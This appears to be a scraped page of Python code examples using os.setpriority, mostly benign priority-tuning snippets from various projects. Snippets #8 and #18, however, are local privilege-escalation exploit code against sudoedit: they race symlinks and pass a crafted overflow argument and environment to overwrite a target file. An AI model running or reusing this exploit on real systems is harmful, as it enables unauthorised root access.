def optimization(file_path, file_name, reports_path, outputs_path, email,
                 file_name_full):
    from ReportServerAI import optimization
    os.nice(-20)
    os.setpriority(posix.PRIO_PROCESS, os.getpid(), -20)
    optimization.do_optimization(file_path, file_name, reports_path,
                                 outputs_path, email, file_name_full)
Beispiel #2
0
def query_calculate(query_file_path, model_file_path, model_details_path,
                    selected_headers):
    from QueryServer import query
    os.nice(-20)
    os.setpriority(posix.PRIO_PROCESS, os.getpid(), -20)
    query.calculate_query(query_file_path, model_file_path, model_details_path,
                          selected_headers)
Beispiel #3
0
    def __init__(self):
        # raise my priority
        os.setpriority(os.PRIO_PROCESS, 0, -15)

        # HAProxy sometimes gets annoyed
        call(['systemctl', 'restart', 'haproxy'])

        # blanks so we can always call stop
        self.model = None
        self.env = None
        self.inspect = None

        # get the base class up
        try:
            self.env = ClusterGlobalState()
            self.keys = KeyPair(public=self.env.pk, secret=self.env.sk)
            self.model = Model(self.env.state_mountpoint)
            self.network = Network()
            self.images = Images()
            self.controller = Controller(self, self.model, self.network, self.images)
            super().__init__(self.keys, self.model, Node, Session, self.controller,
                             identity_type=LaksaIdentity,
                             pre_run_callback=self.pre_run,
                             session_recovered_callback=self.session_recovered,
                             session_destroy_callback=self.session_destroyed,
                             node_create_callback=self.node_created,
                             node_destroy_callback=self.node_destroyed,
                             forwarding_insert_callback=self.model.set_forwarding_record,
                             forwarding_evict_callback=self.model.remove_forwarding_record
                             )
            self.proxy = HAProxy(self.model)
            self.inspect = LaksaInspection(self)
        except BaseException:
            self.stop()
            raise
Beispiel #4
0
def worker():
    print("Filename corresponding to the  controlling terminal:")
    print(os.ctermid())

    print("ID do processo:")
    print(os.getppid())

    print("ID of the current process group:")
    print(os.getpgrp())

    print("Old Priority:")
    print(os.getpriority(os.PRIO_PROCESS, os.getpid()))

    os.setpriority(os.PRIO_PROCESS, os.getpid(), 2)

    print("New Priority:")
    print(os.getpriority(os.PRIO_PROCESS, os.getpid()))

    print("Information identifying the current operating system:")
    print(os.uname())

    print("The round-robin quantum in seconds for the process with PID pid")
    print(os.sched_rr_get_interval(0))

    return
Beispiel #5
0
    def setpriority(self, prio: int) -> None:
        if self._pid == 0:
            # Can't change the kernel's priority
            raise PermissionError

        self._check_running()
        os.setpriority(os.PRIO_PROCESS, self._pid, prio)
def selectable_feature(file_path, file_name, selected_headers, reports_path,
                       outputs_path, email, file_name_full):
    from ReportServerAI import report
    os.nice(-20)
    os.setpriority(posix.PRIO_PROCESS, os.getpid(), -20)
    report.create_report(file_path, file_name, selected_headers, reports_path,
                         outputs_path, email, file_name_full)
Beispiel #7
0
def set_loading_nice() -> None:
    '''Set `nice` value to give loading lower cpu/io priority.'''
    if conf.overrides.get('loading_nice'):
        os.setpriority(os.PRIO_PROCESS, os.getpid(), 20)
        # Supposedly if ionice is unset it will act like BestEffort with value = nice/5 .
        # But I'm setting the extremely careful class=idle which won't even use the disk when others do.
        import psutil
        psutil.Process().ionice(ioclass=psutil.IOPRIO_CLASS_IDLE)
Beispiel #8
0
    def main(self):
        self.username = self.getUser()
        self.data = self.readFile(self.source)
        self.size = self.getSize(self.target)
        environ = {
            '\n\n\n\n\n': '\n' + self.data,
            'SUDO_ASKPASS': '******',
            'LANG':
            'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
            'A': 'A' * 0xffff
        }
        for i in range(5000):
            directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
            overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory

            if os.path.exists(directory):
                sys.stdout.write('file exists %s\n' % directory)
                continue

            child = os.fork()
            os.environ = environ
            if child:
                sys.stdout.write('[+] parent %d \n' % i)
                sys.stdout.flush()
                time.sleep(self.sleep)
                if not os.path.exists(directory):
                    try:
                        os.mkdir(directory, 0o700)
                        os.symlink(self.target,
                                   '%s/%s' % (directory, self.username))
                        os.waitpid(child, 0)
                    except:
                        continue
            else:
                sys.stdout.write('[+] child %d \n' % i)
                sys.stdout.flush()
                os.setpriority(os.PRIO_PROCESS, 0, 20)
                os.execve(
                    path='/usr/bin/sudoedit',
                    argv=['/usr/bin/sudoedit', '-A', '-s', '\\', overflow],
                    env=environ)
                sys.stdout.write('[!] execve failed\n')
                sys.stdout.flush()
                os.abort()
                break

            if self.size != self.getSize(self.target):
                sys.stdout.write('[*] success at iteration %d \n' % i)
                sys.stdout.flush()
                break
        sys.stdout.write("""
            \nConsider the following if the exploit fails:
            \n\t(1) If all directories are owned by root then sleep
needs to be decreased.
            \n\t(2) If they're all owned by you, then sleep needs
increased.
        """)
Beispiel #9
0
 def nice(self, nice: int):
     os.setpriority(os.PRIO_PROCESS, self.tpid, nice)
     msg = "renice: {}[{}/{}] -> {}".format(self.cmd, self.pid, self.tpid, nice)
     print_verbose_msg(msg, self.verbose_opts, "apply_nice")
     retcode = subprocess.run(
         ["renice", "-n", str(nice), "-p",
          str(self.pid)],
         stdout=subprocess.DEVNULL).returncode
     if retcode != 0:
         raise Failure()
     return True
Beispiel #10
0
 def renice(self, tpid: int, nice: int, name: str):
     p_tpid = self.proc[tpid]
     c_nice = p_tpid.nice
     if not name:
         name = p_tpid.cmd
     if c_nice == nice:
         return
     os.setpriority(os.PRIO_PROCESS, tpid, nice)
     self.renice_cmd(tpid, nice)
     msg = "renice: {}[{}/{}] {} -> {}".format(name, p_tpid.pid, tpid,
                                               c_nice, nice)
     if self.verbose["apply_nice"]:
         print(msg, flush=True)
Beispiel #11
0
 def renice(self, tpid: int, nice: int, name: str):
     p_tpid = self.proc[tpid]
     c_nice = p_tpid.nice
     if not name:
         name = p_tpid.cmd
     if c_nice == nice:
         return
     os.setpriority(os.PRIO_PROCESS, tpid, nice)
     self.renice_cmd(tpid, nice)
     msg = "renice: {}[{}/{}] {} -> {}".format(name, p_tpid.pid, tpid,
                                               c_nice, nice)
     if self.verbose["apply_nice"]:
         print(msg, flush=True)
Beispiel #12
0
def test_notification_resp_success() -> None:
    filt = pyseccomp.SyscallFilter(pyseccomp.ALLOW)
    filt.add_rule(pyseccomp.NOTIFY, "setpriority")

    pid = os.fork()
    if pid == 0:
        try:
            if cov_init is not None:
                cov_init()

            filt.load()

            pid = os.fork()
            if pid == 0:
                try:
                    os.setpriority(os.PRIO_PROCESS, 0, os.getpriority(os.PRIO_PROCESS, 0))
                except BaseException:  # pylint: disable=broad-except
                    traceback.print_exc()
                    os._exit(1)  # pylint: disable=protected-access
                finally:
                    os._exit(0)  # pylint: disable=protected-access

            notif = filt.receive_notify()

            assert notif.syscall == pyseccomp.resolve_syscall(pyseccomp.Arch.NATIVE, "setpriority")
            assert notif.syscall_arch == pyseccomp.system_arch()
            assert notif.syscall_args[:3] == [
                os.PRIO_PROCESS,
                0,
                os.getpriority(os.PRIO_PROCESS, 0),
            ]

            filt.respond_notify(pyseccomp.NotificationResponse(0, 0, notif.id, 1))

            _, wstatus = os.waitpid(pid, 0)
            assert os.WIFEXITED(wstatus)
            assert os.WEXITSTATUS(wstatus) == 0

            if cov_cleanup is not None:
                cov_cleanup()

        except BaseException:  # pylint: disable=broad-except
            traceback.print_exc()
            os._exit(1)  # pylint: disable=protected-access
        finally:
            os._exit(0)  # pylint: disable=protected-access

    _, wstatus = os.waitpid(pid, 0)
    assert os.WIFEXITED(wstatus)
    assert os.WEXITSTATUS(wstatus) == 0
Beispiel #13
0
def increase_my_priority(increase):
    # Set the reader process to high priority to reduce frame processing latency,
    # we lose frames under load otherwise, hopefully this will reduce the lossage
    # TODO Handle windows if necessary
    curpriority = os.getpriority(os.PRIO_PROCESS, 0)
    logger.debug("Reader default priority is {}".format(curpriority))
    try:
        os.setpriority(os.PRIO_PROCESS, 0, (curpriority - increase))
        logger.warn("Increased priority to: {}".format(curpriority-increase))
    except PermissionError:
        logger.warn(
            "Inadequate permissions to increase the reader priority,consider running with sudo, priority is: {}".
            format(curpriority))

    newpriority = os.getpriority(os.PRIO_PROCESS, 0)
    logger.debug("Reader new priority is {}".format(newpriority))
Beispiel #14
0
def watch_backups(machines):
	# set nice and ionice for current process
	os.setpriority(os.PRIO_PROCESS, 0, 10)
	p = psutil.Process(os.getpid())
	p.ionice(psutil.IOPRIO_CLASS_IDLE)

	i = inotify.adapters.Inotify()

	# TODO watch all paths
	for name in machines:
		d = os.path.join(BU_SYNC_DIR,name)
		i.add_watch( d.encode('utf-8') )
		print( "Start watching {}".format(d) )

	# wait for an inotify event
	for event in i.event_gen():
		if event is None: 
			continue

		# decode event info
		(header, type_names, watch_path, filename) = event
		watch_path = watch_path.decode('utf-8')
		filename   = filename.decode('utf-8')

		# only take action of the stamp file was updated
		if filename != 'stamp': 
			continue

		if header.mask & (inotify.constants.IN_MOVED_TO|inotify.constants.IN_CLOSE_WRITE):
			# only got here if a backup just finished
			_LOGGER.info("WD=(%d) MASK=(%d) COOKIE=(%d) LEN=(%d) MASK->NAMES=%s "
				"WATCH-PATH=[%s] FILENAME=[%s]",
				header.wd, header.mask, header.cookie, header.len, type_names,
				watch_path, filename)
			try:
				# handle the new backup
				new_backup(watch_path)
			except BackupError as e:
				_LOGGER.error(e)
Beispiel #15
0
    def __init__(self, title, daemon=True, priority=0):
        """
        **Constructor**

        Parameters
        ----------
        title : `string`
            Title of the plot
        daemon : `bool`
            This parameters indicates if the spawned process should be daemon or not
            In general if daemon is set to **True** as the script ends it will close the graph, otherwise the script will end only when the graph is closed
        """
        self.plotsCount = 0
        ctx = multiprocessing.get_context('spawn')  # @UndefinedVariable
        self.plot_queue =  ctx.Queue()
        self.plotter = ProcessPlotter()
        self.plot_process = ctx.Process( target = self.plotter,args = (self.plot_queue,title) )
        self.plot_process.daemon = daemon
        self.plot_process.start()

        # Setting a lower priority to the graphic process (it should be between -20 and 19, but we only set it between 0 and 19)
        if (priority >= 0 and priority <= 19):
            os.setpriority(os.PRIO_PROCESS, self.plot_process.pid, priority)
Beispiel #16
0
tempo = 120
if len(tempo_string) > 0:
    tempo = int(tempo_string)
tempo_file.close()
iteration_period = 60.0 / tempo
total_iterations = 300 / iteration_period

# create the objects
play_objects = [
    sounds.PlayoutObject("samples/%d/%d.wav" % (this_id, n))
    for n in range(0, 6)
]
lpd = launchpad.Launchpad()

try:
    os.setpriority(os.PRIO_PROCESS, os.getpid(), -8)
except:
    pass

start_time = time.time()
iteration = -1
while iteration < total_iterations:
    iteration += 1
    current_column = iteration % 8

    # start making the right combination of noises
    for n in range(0, model.Model.rows):
        if lpd.selected(current_column, n):
            play_objects[n].reset()

    # loop until it's time not to
Beispiel #17
0
# find the tempo
tempo_file = open("samples/%d/tempo" % (this_id,))
tempo_string = tempo_file.read()
tempo = 120
if len(tempo_string) > 0:
    tempo = int(tempo_string)
tempo_file.close()
iteration_period = 60.0/tempo
total_iterations = 300/iteration_period

# create the objects
play_objects = [sounds.PlayoutObject("samples/%d/%d.wav" % (this_id, n)) for n in range(0, 6)]
lpd = launchpad.Launchpad()

try:
    os.setpriority(os.PRIO_PROCESS, os.getpid(), -8)
except:
    pass

start_time = time.time()
iteration = -1
while iteration < total_iterations:
    iteration += 1
    current_column = iteration % 8

    # start making the right combination of noises
    for n in range(0, model.Model.rows):
        if lpd.selected(current_column, n):
            play_objects[n].reset()

    # loop until it's time not to
Beispiel #18
0
            if child:
                sys.stdout.write('[+] parent %d \n' % i)
                sys.stdout.flush()
                time.sleep(self.sleep)
                if not os.path.exists(directory):
                    try:
                        os.mkdir(directory, 0o700)
                        os.symlink(self.target, '%s/%s' % (directory,
self.username))
                        os.waitpid(child, 0)
                    except:
                        continue
            else:
                sys.stdout.write('[+] child %d \n' % i)
                sys.stdout.flush()
                os.setpriority(os.PRIO_PROCESS, 0, 20)
                os.execve(
                    path='/usr/bin/sudoedit',
                    argv=[
                        '/usr/bin/sudoedit',
                        '-A',
                        '-s',
                        '\\',
                        overflow
                    ],
                    env=environ
                )
                sys.stdout.write('[!] execve failed\n')
                sys.stdout.flush()
                os.abort()
                break
Beispiel #19
0
    return round((num * 18) + 1)


#GPIO's
LEDs = ["P8_7", "P8_8"]

ADCs = ['P9_35', 'P9_36']

GPIO.setup(LEDs[0], GPIO.OUT)
GPIO.setup(LEDs[1], GPIO.OUT)

ADC.setup()

childrenPIDs = []
ADCValues = [0, 0]
os.setpriority(os.PRIO_PROCESS, os.getpid(), 0)

try:
    pid = os.fork()

    if (pid == 0):
        #Child 1
        childProcessJob(LEDs[0])
    else:
        #Parent
        childrenPIDs.append(pid)
        pid = os.fork()
        os.setpriority(os.PRIO_PROCESS, childrenPIDs[0], ADCValues[0])
        if (pid == 0):
            #Child 2
            childProcessJob(LEDs[1])